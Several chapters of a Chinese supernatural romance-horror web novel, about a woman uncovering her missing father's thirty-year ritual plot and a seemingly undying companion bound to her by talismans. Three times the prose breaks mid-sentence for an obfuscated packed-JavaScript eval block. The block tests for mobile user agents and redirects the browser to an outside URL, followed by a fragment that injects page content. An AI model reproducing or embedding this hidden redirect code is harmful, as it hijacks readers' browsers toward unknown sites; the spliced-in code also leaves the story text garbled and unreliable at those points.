信的最后一段被水渍模糊了,只能隐约辨认出‘七日还魂...湘西...钥匙...’等字样。 檀九重跪坐在狼藉中,一时不知该哭还是该笑。所有线索都连起来了——瓷枕、阴婚、玉成班、慈安院火灾...这一切都是一个延续了三十年的局,而她和裴子晏都是棋子。 不,裴子晏早就看透了这一切,却选择用最迂回的方式保护她... 窗外雨停了,一缕阳光透过云层照进来,正好落在裴子晏苍白的脸上。檀九重突然注意到他的睫毛颤动了一下。 “裴子晏?”她扑过去,死死盯着他的脸。 没有反应。 就在她即将放弃时,一滴水珠从裴子晏眼角滑落——不是雨水,是真实的眼泪。 檀九重的心跳漏了一拍。她想起信中被水渍模糊的部分,想起‘七日还魂’,想起裴子晏总说自己是‘殡葬专业’... “你这个骗子...”她咬牙切齿地抹去眼泪,开始按照父亲笔记上的方法布置另一个阵法。 当最后一枚铜钱放好时,院门被推开了。老周带着已经苏醒的女儿站在门口,小姑娘脸色红润,完全不像大病初愈的样子。 “檀小姐...”老周局促地搓着手,“我女儿想谢谢裴先生...” 檀九重苦笑:“恐怕要等...” “姐姐,”小姑娘突然开口,声音清脆,“那个哥哥让我告诉你,湘西的客栈永远留着你们的房间。” 檀九重如遭雷击:“他什么时候...” “就在刚才啊。”小姑娘歪着头,“梦里。” 老周尴尬地解释:“她醒来就说梦见裴先生给了她一枚铜钱...”他从口袋里掏出一枚古旧的厌胜钱,“结果真在枕头下找到了...” 檀九重接过铜钱,入手冰凉。她突然明白了什么,冲回裴子晏身边,扒开他的衣领——脖颈上的缝合线正在慢慢消失,取而代之的是一道淡红色的新生疤痕。 “果然...”她又哭又笑,“七日还魂...你这个骗子根本死不了!” 仿佛回应她的话,裴子晏的睫毛又颤动了一下。这次檀九重确信不是错觉。她俯身在他耳边恶狠狠地说:“听着,你要是敢醒过来,我就...” “就怎样?”微弱的声音从苍白的唇间溢出,“...嫁给我吗?” 檀九重的拳头悬在半空,最终轻轻落在他胸口:“想得美。” 裴子晏的眼睛睁开一条缝,漆黑的眸子里盛满笑意:“学姐好凶啊...”他艰难地抬起手,指向门外,“不过在那之前...能先解决那个吗?” 檀九重转头看去,只见七只乌鸦不知何时又回来了,整齐地站在院墙上。每只乌鸦的脚上都系着一条红绳,在阳光下鲜艳如血。 而在它们中间,站着一个穿红肚兜的无面孩童,正歪头‘看’向屋内。当它发现檀九重注意到自己时,缓缓举起细小的手臂,比了个‘七’的手势... 11. 双生痣 市立医院核磁共振室外,檀九重第三次调整了预约单上的信息。她在‘检查原因’一栏犹豫许久,最终写下‘先天性胎记异常检查’。 “学姐这么关心我的身体啊?”裴子晏靠在墙边,脖颈上的缝合线已经淡得几乎看不见,取而代之的是一道粉色的新生疤痕。他今天穿了件高领毛衣,刚好遮住锁魂钱留下的痕迹,看起来就像个普通的大学生。 檀九重没搭理他的调侃,而是盯着他右手腕内侧——那里有一个淡得几乎看不见的月牙形印记,与她左手腕上的胎记一模一样,只是方向相反。 “记住我们的约定,”她压低声音,“检查时不许说话,不许问问题,更不许对医生笑。” 裴子晏眨眨眼:“学姐是怕我被抓去研究吗?”见檀九重脸色不善,他立刻做了个拉上嘴巴的动作,“遵命。” 护士叫到裴子晏的名字时,檀九重明显感觉到他身体僵了一瞬。 “紧张?”她挑眉。 裴子晏低头整理毛衣袖口,遮住了那个胎记:“有点冷而已。” 检查室里的仪器闪着冷光。当裴子晏脱下毛衣换上检查服时,檀九重注意到他后背的伤疤已经愈合了大半,但那些诡异的符文仍隐约可见。医生将造影剂注入他的静脉,然后引导他躺进扫描舱。 “只是常规检查,放松。”医生和蔼地说,“我们要看看这个胎记有没有深层组织异常。” 舱门缓缓关闭,机器开始运转。檀九重站在观察窗前,紧盯着显示屏。起初一切正常,但当扫描到手腕部位时,医生的表情突然变了。 “这...不可能...”他推了推眼镜,凑近屏幕,“你们看!” 檀九重凑过去,只见屏幕上显示的不仅是胎记的皮肤表层,在皮下约2毫米处,竟有一排微型的金属物体,排列成某种符文形状! “像是...古代的微型金属符?”医生难以置信地放大图像,“但怎么会在皮肤下面?从组织包裹情况看,至少存在了二十年以上...” 檀九重心跳加速。父亲笔记中确实提到过辽代秘术‘金符入肉’,但那是传说中的术法,需要用特殊方法将金属符咒植入活体,据说能保魂魄不散。 “能看出是什么金属吗?”她问。 医生调整设备:“初步判断是某种合金,含有金、银和...咦?”他突然瞪大眼睛,“这个成分比例...和辽代贵族墓葬出土的金属符一模一样!” 就在这时,扫描舱内传来一声闷响。裴子晏的身体突然剧烈抽搐,监测仪器发出刺耳的警报。 “患者癫痫发作!”医生大喊,“立即终止检查!” 檀九重却拦住要冲上前的护士:“等等!” 她紧盯着显示屏——裴子晏手腕处的金属符正在发光!不是仪器反射,而是真实的、微弱的蓝光。更诡异的是,随着光芒增强,他后背的符文也开始在屏幕上显现,与胎记处的金属符完美对应。 “关掉机器!立刻!”檀九重厉声道。 当扫描舱打开时,裴子晏已经安静下来,但眼神涣散,额头上布满冷汗。医生要去扶他,却被一把推开。 “别碰我!”裴子晏的声音突然变得异常低沉,完全不像平时的轻佻,“九重...小九重...” 檀九重浑身一震。只有父亲会这么叫她。 裴子晏摇摇晃晃地站起来,眼神空洞地望向虚空:“你的兔子玩偶...还在床底下吗?那晚你把它丢在火场里...哭了好久...” 檀九重如遭雷击。七岁那年慈安院火灾,她确实有个最爱的兔子玩偶落在火场,这件事她从未告诉任何人,连父亲都不知道她为此哭了整晚! “裴子晏!”她一把抓住他的肩膀,“你怎么知道这些?” 裴子晏的眼神突然聚焦,像是大梦初醒:“学姐?”他茫然四顾,“检查做完了?” 医生和护士面面相觑。檀九重迅速编了个理由解释刚才的‘癫痫发作’,匆匆办理了提前终止检查的手续。离开医院时,她特意要走了扫描图像的拷贝。 回到车上,裴子晏系安全带的手还在微微发抖:“刚才发生了什么?我只记得躺进去,然后...好像做了个很长的梦...” 檀九重打开笔记本电脑,插入U盘调出扫描图像:“解释下这个。” 裴子晏盯着屏幕上自己皮肤下的金属符,表情从困惑逐渐变成某种复杂的了然:“原来是这样...” “哪样?” “学姐知道‘双子咒’的核心是什么吗?”裴子晏轻轻抚摸自己手腕上的胎记,“不是符咒,不是法术,而是这个——‘连命符’。辽代萨满发明的秘术,将两个人的命运从物理层面绑定。” 他指向图像:“这些金属符会随着身体生长而移动,但永远保持特定排列。当两个‘连命符’靠近到一定距离,就会...”他突然顿住,像是意识到说漏了嘴。 “就会什么?” 裴子晏笑了笑,转移话题:“学姐不是查过我现在的身份吗?应该发现有趣的东西了吧?” 檀九重眯起眼睛。她确实在离开医院前收到了私家侦探的邮件。裴子晏现在的身份是五年前被一位海外华裔收养的孤儿,但诡异的是,领养文件上的监护人签名处,赫然有父亲的指纹! “我父亲失踪也是五年前。”她冷声道,“解释。” 裴子晏摇下车窗,让风吹乱他的头发:“学姐有没有想过,为什么我能用禁术?为什么我知道瓷枕的秘密?为什么...”他转头看她,眼神突然变得异常沧桑,“我对你的一切了如指掌?” 檀九重握方向盘的手紧了紧:“我在等答案。” “因为...”裴子晏刚开口,突然剧烈咳嗽起来,一团黑气从口中溢出。他慌忙用手帕捂住嘴,但檀九重还是看到了——手帕上沾的不是血,而是某种黑色粘稠液体,散发着与瓷枕相同的腐香。 “因为什么?”她逼问。 裴子晏收起手帕,又恢复了那种玩世不恭的笑容:“因为我是学姐的超级粉丝啊,早就把你调查得一清二楚~” 檀九重猛地踩下刹车。裴子晏因惯性向前冲去,又被安全带拉回座位。她一把抓住他的右手腕,三根手指精准地按在桡动脉上。 一分钟过去了。两分钟。裴子晏安静地任由她按着,嘴角挂着若有若无的微笑。 “怎么样,学姐?”他轻声问,“我的心跳还正常吗?” 檀九重松开手,声音干涩:“你没有脉搏。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449292|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“错了。”裴子晏纠正,“是每分钟七下。正常人六十到一百,我只有七。”他指了指自己的胸口,“而且每次跳动间隔完全规律,不像活人的心率会有细微变化。” 檀九重突然想起扫描时医生说的话——那些金属符在她皮下存在了至少二十年。也就是说,在她还是个孩子时就被植入了这些符咒... “我父亲对你做了什么?”她声音发抖。 裴子晏望向窗外:“檀教授给了我第二次生命...用他的方式。” 回到栖梧阁已是傍晚。裴子晏说要去换药,檀九重却拦住了他:“在这里换。” 裴子晏挑眉:“学姐终于对我的身体感兴趣了?” 檀九重不为所动:“脱衣服。” 裴子晏耸耸肩,慢慢脱下毛衣和里面的衬衫。他后背的伤已经结痂,但那些符文仍清晰可见,在暮色中泛着淡淡的红光。檀九重拿出医药箱,动作利落地为他消毒、上药。当她的手指无意中擦过某个符文时,裴子晏突然绷紧了肌肉。 “疼?”她问。 裴子晏摇头:“痒。” 檀九重继续涂抹药膏,同时暗中观察那些符文。在近距离下,她发现这些纹路并非杂乱无章,而是某种古老的文字,与她手腕上胎记变化的纹路如出一辙。 “这是什么文字?” “契丹小字。”裴子晏头也不回,“辽代皇室用来记录秘术的符号。”他顿了顿,“学姐手腕上的胎记,其实是半个‘命’字。” 檀九重动作一顿:“那另一半?” “在我身上。”裴子晏转过头,指了指自己后背中央,“当我们在一定距离内,两个字会互相感应,形成完整的‘命契’。” 檀九重想起扫描时金属符的异象:“所以医院里...” “嗯,机器的高频振动暂时激活了符咒。”裴子晏轻描淡写地说,仿佛在讨论天气,“所以我才会短暂失控,看到一些...记忆碎片。” 檀九重绕到他面前:“谁的记忆?” 裴子晏笑而不答,开始自己缠绷带。檀九重突然按住他的手:“我来。” 她动作轻柔却坚定地为他包扎,两人呼吸交错。当最后一段绷带固定好时,檀九重突然抓住他的手腕,再次测他的脉搏。 “学姐真是执着啊。”裴子晏无奈地笑。 檀九重感受着指腹下微弱而缓慢的搏动,抬头直视他的眼睛:“裴子晏,你到底死了多久?” 裴子晏的笑容僵住了。窗外突然刮起一阵怪风,吹得窗棂咯咯作响。七只乌鸦落在院墙上,安静地注视着室内。 “从医学角度讲,”他轻声说,“我从未真正活过。” 檀九重正要追问,手机突然响起。是老周发来的照片——他女儿周小荷的病床前,不知何时多了个瓷娃娃,造型正是那个穿红肚兜的无面孩童。照片附言:“裴先生来过?” 檀九重立刻拨回去,却得知老周根本没发过任何照片! 她猛地抬头看向窗外——七只乌鸦不知何时变成了六个半,其中一只只有半边身子,却仍诡异地站立着,血红的眼睛直视着她。 而在更远的黑暗中,一个穿红肚兜的矮小身影正缓缓举起手,比出‘六’的手势... 12. 局中局 栖梧阁的地下室从未如此寒冷。檀九重裹紧毛衣,手中的紫外线灯扫过一排排父亲留下的古籍。自从无面孩童比出‘六’的手势后,七只乌鸦只剩六只半在院墙值守,仿佛某种倒计时。 “到底在哪里...”她喃喃自语,翻找着父亲可能留下的任何线索。裴子晏三天前说去查些资料就消失不见,只留下一张潦草字条:“学姐别乱跑,等我回来解释一切。” 紫外线灯突然照到书架底层一个不起眼的凹槽。檀九重蹲下身,发现木板上刻着极浅的纹路——是两个相连的月牙,与她及裴子晏手腕上的胎记一模一样。 她心跳加速,手指按上那个标记。木板无声滑开,露出一个暗格。里面是个青铜匣子,表面布满铜绿,但中央的九宫八卦锁依然光亮如新。 “九宫锁...”檀九重想起这是父亲最爱的机关。她试着输入自己的生日,锁纹丝不动;又试了父亲失踪的日期,依然无效。犹豫片刻,她输入了慈安院火灾的日期——1988年9月12日。 “咔嗒”一声,锁开了。 匣内铺着暗红色绸缎,上面并排放着两枚铜钱。左边的铜钱刻着‘檀九重癸亥年七月初七’,右边的则是‘裴子晏辛酉年九月初九’。铜钱下方压着一张泛黄的纸条,父亲的字迹力透纸背: “九重,若你看到这个,说明双子咒已生效三十年。原谅父亲的自私,但唯有此法可破你命中的‘七杀劫’。子晏是守墓人一脉最后的传人,他的血能激活你体内的护命符。七日内将铜钱置于对方胎记处,可完成最后一步。记住,阴契阳契本是一体。” 檀九重双手发抖。父亲这段话印证了她最坏的猜想——从始至终,这都是一个精心设计的局。她和裴子晏的相遇不是偶然,甚至连那场慈安院火灾都可能是有意为之... “学姐?”裴子晏的声音突然从背后传来,“找到什么了?” 檀九重猛地转身,发现他不知何时站在了楼梯口,身上带着夜露的湿气,脸色苍白如纸。更奇怪的是,他换了一身从未见过的藏青色长衫,款式像是民国时期的男装。 “你去哪了?”她厉声问,同时不着痕迹地将铜钱藏进口袋。 裴子晏缓步走近,身上散发着淡淡的尸香与草药混合的气息:“查了些资料。”他瞥了眼打开的暗格,眼神复杂,“啊...学姐找到青铜匣了。” “你知道这里面是什么?” “猜得到。”裴子晏在离她两步远的地方停下,右手无意识地摩挲着脖颈上的疤痕,“檀教授说过,等时机成熟,你会自己发现真相。” 檀九重站起身,紫外线灯的光束划过裴子晏的脸,在他眼中映出诡异的反光:“什么真相?你和我父亲到底什么关系?为什么你的领养文件上有他的指纹?” 裴子晏突然笑了,酒窝在苍白脸上显得格外深邃:“学姐问题真多啊...”他向前一步,身上那股异香更加浓郁,“不如先告诉我,匣子里少了什么?” 檀九重心头一跳。她确实注意到青铜匣底部有个圆形凹痕,像是本该还有第三件物品。 “你怎么知道少了东西?” 裴子晏没有回答,而是从怀中掏出一个信封:“张伯让我转交的。说是找到了1937年玉成班的完整合照。” 檀九重警惕地接过信封,抽出里面的老照片。照片上是玉成班全体成员站在戏台前的合影,前排中央坐着班主杜十娘,旁边是穿着戏服的沈胭脂。而当她的目光移到后排时,呼吸为之一窒——最右侧站着个穿藏青色长衫的年轻男子,眉眼与裴子晏有八分相似! “这是...你祖父?”她声音发紧。 裴子晏凑过来看照片,长发擦过她的脸颊:“学姐觉得呢?”他指向照片角落的日期——民国二十六年七月初七,“八十多年前的照片了。” 檀九重突然想起医院扫描发现的皮下金属符。如果那些符咒真如裴子晏所说能保魂魄不散...一个荒谬的想法浮现在脑海。 “裴子晏,”她直视他的眼睛,“你到底多少岁?” 裴子晏眨了眨眼:“学姐猜猜看?” 檀九重正要发作,门铃突然响起。两人对视一眼,同时往楼上走。前院站着个佝偻身影,是慈安院的张伯!老人缺指的左手捧着一个木盒,见到檀九重就跪了下来。 “檀小姐,我该死啊!”他老泪纵横,“当年火灾...不是意外!” 檀九重扶起老人,接过木盒。里面是几页烧焦的日记残片,勉强能辨认出父亲的字迹: “...子晏的魂魄比想象的稳定...‘守墓人’血脉果然特殊...九重的胎记已经开始变化...必须在七日内完成仪式...” 另一页更模糊: “...杜十娘找来了...要讨回童子骨...不得已烧了慈安院...” 最后一片只有几个字: “...七杀劫...三十年...还魂...” 檀九重双手发抖。这些碎片拼凑出一个可怕的真相——父亲为了救她,不仅策划了慈安院火灾,还可能间接害死了其他孩子... “檀小姐,”张伯颤抖着说,“你父亲临走前交代,如果裴少爷回来找你,就把这个给他。”老人从怀里掏出半枚铜钱,上面刻着‘命’字。 裴子晏接过铜钱,表情突然变得异常严肃:“时辰到了。” “什么时辰?”檀九重警觉地问。 裴子晏没有回答,而是对张伯点点头:“带她去地下室。无论听到什么声音都别出来。” “裴子晏!”檀九重一把抓住他的手腕,“把话说清楚!” 裴子晏转身看她,眼神温柔得令人心碎:“学姐,还记得我们的约定吗?”他轻轻挣脱她的手,“生死与共。” 说完,他头也不回地走向院门。檀九重要追上去,却被张伯死死拉住:“檀小姐,不能去!太阳要落山了!” 她这才注意到,院墙上的六只半乌鸦突然全部飞起,在空中排成一个诡异的阵型。而远处的地平线上,夕阳如血,将裴子晏的身影拉得很长很长——奇怪的是,那影子分裂成了两道,一道是他的,另一道则是个穿红肚兜的孩童。 “等等!”檀九重从口袋里掏出那两枚铜钱,“你至少解释下这个!” 裴子晏回头看了一眼,嘴角扬起熟悉的弧度:“学姐不是已经猜到了吗?那是我们的婚书啊。” 院门在他身后关上,同时栖梧阁所有的窗户突然砰砰作响,像是有什么东西要闯进来。张伯不由分说将她拉向地下室,力气大得不像老人。 地下室的灯忽明忽暗。檀九重挣扎着要出去,却听到楼上传来瓷器碎裂的声音——是那尊瓷枕!紧接着是孩童的笑声,由远及近,仿佛有无数看不见的孩子正在阁楼里奔跑嬉戏。 “到底怎么回事!”她厉声问张伯。 老人瘫坐在墙角,缺指的手不停颤抖:“阴婚契...要完成了...”他指着檀九重口袋里的铜钱,“你父亲用三十年布局,就是要等这一天...用裴少爷的命,换你的...” 檀九重如遭雷击。她掏出铜钱仔细查看,这才发现边缘刻着极小的符文——是父亲笔记中提过的‘替命咒’! 楼上突然一声巨响,接着是死一般的寂静。檀九重不顾张伯阻拦冲上楼梯,眼前的景象 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449293|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让她血液凝固—— 栖梧阁大厅中央,裴子晏跪在地上,胸口插着一根桃木钉,正是她平时随身携带的那枚。瓷枕完全碎裂,九块人骨漂浮在他周围,组成一个诡异的圆圈。 而最可怕的是,他的影子只剩下了一半,那道孩童的影子不知所踪。 “裴子晏!”她冲过去扶住他。 裴子晏抬起头,嘴角渗出一丝黑血,却还在笑:“学姐...不听话啊...” “你做了什么?!”她声音发抖,手忙脚乱地检查他的伤口。 “完成了...约定...”裴子晏艰难地从怀中掏出一样东西——是那半枚张伯给的铜钱,现在已经变成了完整的圆形,“看...我也有...婚书了...” 铜钱上完整的‘命’字在暮色中泛着微光。檀九重这才明白,原来青铜匣里缺失的第三件物品,就是这半枚铜钱! “别说话,我帮你止血...”她撕下衣袖按住他的伤口,却发现流出的不是血,而是那种黑色粘稠液体。 裴子晏按住她的手:“没用的...学姐记得...把铜钱...放在胎记上...”他的声音越来越弱,“七日...之后...” “什么七日?你别睡!裴子晏!” 但怀中的躯体已经停止了动作。檀九重颤抖着去探他的颈动脉——没有跳动。其实她知道不会有,裴子晏的心跳本就微弱到近乎不存在。可这一次,他的身体开始以肉眼可见的速度变冷,仿佛生命——或者说维持他行动的某种力量——正在迅速流失。 张伯颤巍巍地走过来,递给她一部手机:“裴少爷...让我给你的。” 手机屏幕上是裴子晏提前编辑好的短信: “学姐要长命百岁。手机里有檀教授失踪前的坐标,去找他吧。PS:记得喂乌鸦,它们会带路。” 最后是一条定位信息,显示的地点正是五年前父亲最后出现的那座深山。 夜色完全降临。檀九重跪坐在地上,怀中抱着逐渐冰冷的裴子晏。她摸出那两枚铜钱,按照父亲字条所说,一枚贴在自己左手腕的胎记上,一枚贴在裴子晏右手腕的胎记处。 不可思议的事情发生了——铜钱突然变得滚烫,在她皮肤上烙下清晰的印记。而更诡异的是,裴子晏背后的符文开始发光,与她手腕上的胎记呼应,在空中投射出一个完整的符咒图形。 “双子咒...”张伯敬畏地跪下,“命契成了...” 檀九重无暇顾及这些。她轻轻将裴子晏平放在地,起身去拿医药箱,却从柜门玻璃的反光中看到了骇人的一幕——她身后站着一个模糊的白影,轮廓与裴子晏极为相似,正伸手虚抚着她的头发。 猛地回头,身后却空无一物。 再看向玻璃,白影依然在那里,对她微微一笑,然后指了指她口袋里的手机。 檀九重颤抖着掏出手机,发现不知何时多了一条语音备忘录。点开后,裴子晏熟悉的声音响起: “学姐,如果你听到这个,说明我已经‘死’了第二次。别难过,这次是我自己的选择。去找檀教授吧,他掌握着所有答案。记住,七日之内,我的身体不能火化。还有...镜子里看到的,别怕,那确实是我。” 录音结束,柜门玻璃上的白影也消失了。檀九重跪坐在地,将两枚沾了黑血的铜钱用红线串成手链戴在腕上。当她抬头时,镜中自己的倒影身后,那个模糊的白影又一次浮现,无声地说着: “生死与共。” 窗外,六只半乌鸦安静地注视着这一切。而在更远的黑暗中,一个穿红肚兜的无面孩童缓缓举起手,比出了‘五’的手势... 13. 线偶夜行 闽南的雨水带着咸腥的海风味道。檀九重站在废弃戏台前,手机屏幕上的红点不断闪烁——裴子晏最后发出的定位就在这里。 三天前,栖梧阁镜中的白影消失后,那六只半乌鸦就一直跟着她。此刻它们停在戏台斑驳的牌匾上,血红的眼睛注视着她的一举一动。牌匾上‘庆云戏台’四个字已经褪色,但隐约可见当年金漆的痕迹。 手腕上的铜钱手链突然发烫。檀九重低头看去,两枚铜钱表面浮现出细小的文字——‘癸酉年七月初七’。正是1937年玉成班出事的那天。 “果然有联系...”她轻声自语,手指无意识地摩挲着铜钱。这是用裴子晏留下的两枚铜钱串成的,沾过他的‘血’,也沾过她的泪。 戏台大门虚掩着,门缝中透出微弱的灯光。檀九重悄无声息地靠近,从缝隙中望去—— 裴子晏坐在一张棋盘前,对面是个穿戏服的老者。老者背对着门,花白的辫子垂在脑后,裸露的手背上布满了诡异的鎏金纹路,与瓷枕上的婴戏纹一模一样。而更令檀九重心惊的是,裴子晏换了一身民国样式的藏青长衫,正是照片中那个酷似他的男子所穿的款式! “师兄,这一步你已经想了七十年。”老者的声音沙哑如砂纸摩擦,“可惜,还是没长进。” 裴子晏执棋的手指顿了顿:“师弟,你执念太深了。” “深?”老者突然尖笑起来,“是谁答应陪我完成《牡丹亭》?是谁在火场里丢下我?”他猛地转身,露出一张布满缝合线的脸——正是那晚在归乡客栈袭击他们的黑袍人! 檀九重倒吸一口冷气,不小心碰响了门轴。两人同时转头看向门口,她来不及躲闪,正对上裴子晏的眼睛——那双往日含笑的眸子此刻冰冷陌生,仿佛隔着八十年的时光在看她。 “九重?”裴子晏的表情瞬间鲜活起来,又变回她熟悉的那个‘学弟’,“你怎么...” 老者突然暴起,宽大的戏服袖中飞出数十道银光——是傀儡线!细如发丝的银线瞬间刺入裴子晏的后背,他闷哼一声,身体不受控制地抽搐起来。 “裴子晏!”檀九重抽出桃木钉冲进去,却见裴子晏被操控着向她扑来。他的眼睛大睁着,嘴唇艰难地蠕动:“跑...” 银光闪过,裴子晏的手被操控着划向她的手臂。檀九重闪避不及,右臂被划开一道口子,鲜血顿时浸透衣袖。奇怪的是,伤口并不深,但一阵麻痹感迅速蔓延开来。 “毒?”她踉跄后退,同时从腰间抽出墨斗线。 老者狞笑着操控裴子晏继续进攻:“檀家的小丫头,你父亲没教过你,别人的傀儡戏不能随便打扰吗?” 檀九重不答,墨斗线在她手中如活物般展开,形成一张细密的网。当裴子晏再次被操控着攻来时,她灵巧地绕过他的攻击,将墨斗线缠上那些傀儡线。线绳相触的瞬间,火花四溅,老者闷哼一声,显然受到了反噬。 但更让檀九重震惊的是,在制住裴子晏的刹那,她碰到了他的手腕——没有脉搏!虽然早知道他的心跳异常缓慢,但此刻竟然完全停止了! 裴子晏趁她分神,突然贴近,染血的手指在她掌心快速划过。微凉的触感让檀九重意识到,他是在画符!她不动声色地握紧拳头,继续与老者周旋。 “杜十娘,”裴子晏突然开口,声音变得异常沉稳,“你要的童子骨已经毁了,阴婚契也已完成。何必执着?” 老者——杜十娘?——狂笑起来:“师兄啊师兄,你以为我只要童子骨?”他扯开衣襟,露出胸口一个黑洞般的伤口,“我要的是你的‘不死身’!当年火场里,为什么只有你能活下来?” 檀九重趁机观察四周。戏台内部保存完好,仿佛时光停滞在1937年。梁上悬挂着各式傀儡,其中一个特别显眼——它穿着合身的戏服,而那张脸,赫然是裴子晏的模样! “学姐...”裴子晏突然用只有她能听到的声音说,“我数到三,用墨斗线缠住他的左手小指。” 没等她回应,裴子晏已经开始倒数:“一...” 老者正疯狂地讲述着当年的恩怨,唾沫星子飞溅:“...我花了三十年找到那个瓷枕,又花了四十年凑齐九个童子骨,就等着阴婚契完成这天...” “二...” 檀九重悄悄调整墨斗线的角度,余光瞥见后台帘幕微微晃动,似乎有人藏在后面。 “三!” 裴子晏突然暴起,原本刺入他后背的傀儡线齐齐断裂。檀九重几乎同时出手,墨斗线如灵蛇般缠上老者的左手小指——那根手指不自然地弯曲着,正是瓷枕底部血手印缺失的部分! 老者发出不似人类的惨叫,身体像提线木偶般抽搐起来。与此同时,后台冲出一个十七八岁的少女,手持剪刀斩向空中无形的丝线:“爷爷住手!” 令人毛骨悚然的是,随着她的动作,老者身上的戏服突然塌陷下去,仿佛里面的人瞬间消失了。少女接住落下的戏服,从里面抖出一个小巧的傀儡——木质身体上刻满了与瓷枕相同的纹路。 “阿青!”傀儡竟然还能发出声音,虽然微弱了许多,“你这不孝女...” 名叫阿青的少女将傀儡塞进布袋,转身对两人鞠躬:“对不起,爷爷的痴呆症又犯了。”她好奇地打量着裴子晏,“您长得真像爷爷的师兄...他房间里还有您的照片呢。” 檀九重警惕地挡在裴子晏前面:“你们到底是什么人?” 阿青正要回答,裴子晏突然剧烈咳嗽起来,一团黑气从口中溢出。少女见状,竟露出恍然大悟的表情:“啊!您真的是裴师伯!爷爷说过,您会‘吐黑雾’!”她兴奋地从颈间取出一枚铜钱,“看,这是您当年给爷爷的!” 铜钱上刻着‘玉成’二字,与檀九重在瓷枕旁发现的那枚一模一样。 裴子晏的表情变得异常复杂。他接过铜钱,手指微微发抖:“杜师弟...还留着这个...” “爷爷说1937年那晚,您把他推出火场,给了他这个保命。”阿青眨着天真的大眼睛,“后来他痴呆了,总说您欠他一出《牡丹亭》。” 檀九重听得一头雾水。1937年?那岂不是八十多年前?而眼前的裴子晏看起来不过二十出头... “学姐。”裴子晏突然抓住她的手,“我们得走了。” 阿青却拦住他们:“等等!师伯既然回来了,能不能帮爷爷完成心愿?就唱一次《牡丹亭》的‘离魂’,他的痴病说不定就好了!”她指向戏台后方,“戏服都准备好了。” 顺着她手指的方向,檀九重看到梁上悬挂的那个裴子晏模样的傀儡旁边,赫然挂着一套旦角戏服——尺寸正合她的身材! “不必了。”裴子晏冷声拒绝,拉着檀九重就往门外走。 阿青在身后喊道:“师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16449294|185250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伯不想知道檀教授的下落吗?” 檀九重猛地停住脚步:“你说什么?” 少女露出狡黠的笑容:“爷爷虽然痴呆了,但记性很好。前几天有个长得像您的人来找过他,问了些...关于‘不死身’的事。” 裴子晏的手骤然收紧:“带我们去见他。” 阿青领着两人来到戏台后的厢房。房间堆满了各式傀儡和戏服,墙上挂着一张泛黄的照片——玉成班全体成员的合照,与张伯给的那张一模一样,只是背面多了一行小字:‘癸酉年七月初七,与子晏师兄摄于庆云戏台。’ 檀九重仔细端详照片中后排的年轻男子,再看看身边的裴子晏,除了衣着不同,五官几乎一模一样! “这不可能...”她喃喃道。 裴子晏却盯着床上蜷缩的人影——那是个干瘦如柴的老人,双手被布条绑着,正对着空气喃喃自语:“...师兄说好一起长生...骗子...” 阿青解开老人的束缚:“爷爷,您看谁来了?” 老人浑浊的眼珠转向裴子晏,突然爆发出惊人的力气扑过来:“童子骨!给我童子骨!”他枯瘦的手指抓住裴子晏的衣领,“你说过...用阴婚咒就能不死...为什么骗我...” 裴子晏任由老人撕扯,眼神悲哀:“师弟,长生不是这样的。” 老人突然安静下来,歪着头打量裴子晏:“你...不是师兄。”他咯咯笑起来,“师兄早就死了...和沈胭脂一起烧死了...”他猛地指向檀九重,“除非...你是来找‘她’的!” 檀九重一惊:“谁?” 老人却不回答了,转而哼起《牡丹亭》的调子。阿青歉意地解释:“他经常这样。不过...”她压低声音,“那个长得像您的人,留下了一样东西。” 她从床底下拖出个木箱,里面是台老式录音机。按下播放键,传出一个男人虚弱的声音: “子晏,如果你听到这个...我找到‘她’了...瓷枕只是幌子...真正的钥匙是...” 录音到这里突然中断,只剩下沙沙的杂音。 檀九重如遭雷击——那是父亲的声音! “什么时候录的?”她急切地问。 阿青想了想:“大概一个月前?那人走得很急,说是要赶在月圆前上山。” 檀九重与裴子晏交换了一个眼神。父亲失踪五年,一个月前却出现在闽南?而录音中提到的‘她’是谁? 老人突然又发作起来,这次他抓起剪刀刺向自己的手腕:“血...需要童女血...”阿青慌忙制止他,场面一时混乱不堪。 趁这机会,裴子晏拉着檀九重退出房间。雨已经停了,月光照在荒废的戏台上,显得格外凄清。 “解释。”檀九重甩开他的手,“1937年你就在玉成班?那个杜十娘真是你师弟?我父亲录音里说的‘她’是谁?” 裴子晏望着月亮,侧脸在月光下显得格外苍白:“学姐,有些事...” 他的话戛然而止。檀九重顺着他的目光看去,只见戏台中央不知何时多了个穿红肚兜的无面孩童,正歪头"看"着他们。而更恐怖的是,它手中拿着一个精致的傀儡——穿着周小荷病号服的迷你人偶! 